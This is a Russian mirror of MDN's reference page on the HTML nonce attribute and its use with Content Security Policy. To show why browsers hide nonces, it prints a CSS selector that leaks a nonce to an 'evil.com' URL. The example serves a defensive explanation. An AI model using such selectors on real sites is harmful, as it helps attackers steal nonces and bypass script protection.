Spec-Zone.ru › HTML

nonce

Атрибут nonce глобальный атрибут — атрибут содержимого, определяющий криптографический nonce ("используемый один раз"), который может быть использован Политикой безопасности контента для определения того, разрешено ли продолжать загрузку определённого элемента.

Описание

Атрибут nonce полезен для разрешения конкретных элементов, таких как определённый встроенный скрипт или элементы стиля. Он может помочь вам избежать использования директивы CSP unsafe-inline, которая бы разрешала все встроенные скрипты или стили.

Примечание: Используйте nonce только в тех случаях, когда у вас нет альтернатив использованию небезопасного встроенного скрипта или содержимого стилей. Если вам не нужен nonce, не используйте его. Если ваш скрипт статичен, вы также можете использовать хэш CSP. (См. заметки по использованию на небезопасном встроенном скрипте.) Всегда старайтесь максимально использовать средства защиты CSP и избегайте nonces или небезопасных встроенных скриптов, когда это возможно.

Использование nonce для разрешения элемента <script>

Для разрешения встроенного скрипта с помощью механизма nonce требуется несколько шагов:

Генерация значений

Ваш веб-сервер должен сгенерировать случайную строку в base64-кодировании длиной не менее 128 бит из криптографически безопасного генератора случайных чисел. Nonce должен генерироваться по-разному при каждой загрузке страницы (nonce только один раз!). Например, в nodejs:

js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

Разрешение встроенного скрипта

Сгенерированное на стороне сервера значение nonce теперь должно быть использовано для встроенного скрипта, который вы хотите разрешить:

html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

Отправка nonce с заголовком CSP

Наконец, вам нужно отправить значение nonce в заголовке Content-Security-Policy (добавить nonce-):

http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Доступ к nonces и сокрытие nonce

По соображениям безопасности атрибут содержимого nonce скрыт (будет возвращена пустая строка).

js
script.getAttribute("nonce"); // returns empty string

Свойство nonce — единственный способ получить доступ к nonces:

js
script.nonce; // returns nonce value

Скрытие nonce помогает предотвратить извлечение злоумышленниками данных nonce с помощью механизмов, которые могут получить данные из атрибутов содержимого такого типа:

css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Спецификации

Спецификация
Стандарт HTML
# attr-nonce

Совместимость с браузерами

Рабочий стол Мобильные устройства
Chrome Edge Firefox Opera Safari Chrome Android Firefox для Android Opera Android Safari на iOS Samsung Internet WebView Android
nonce 61 79 31 48 15.4 61 31 45 15.4 8.0 61
nonce_hiding 61 79 75 48 Нет 61 79 45 Нет 8.0 61

См. также

  • HTMLElement.nonce
  • Политика безопасности контента
  • CSP: script-src

© 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API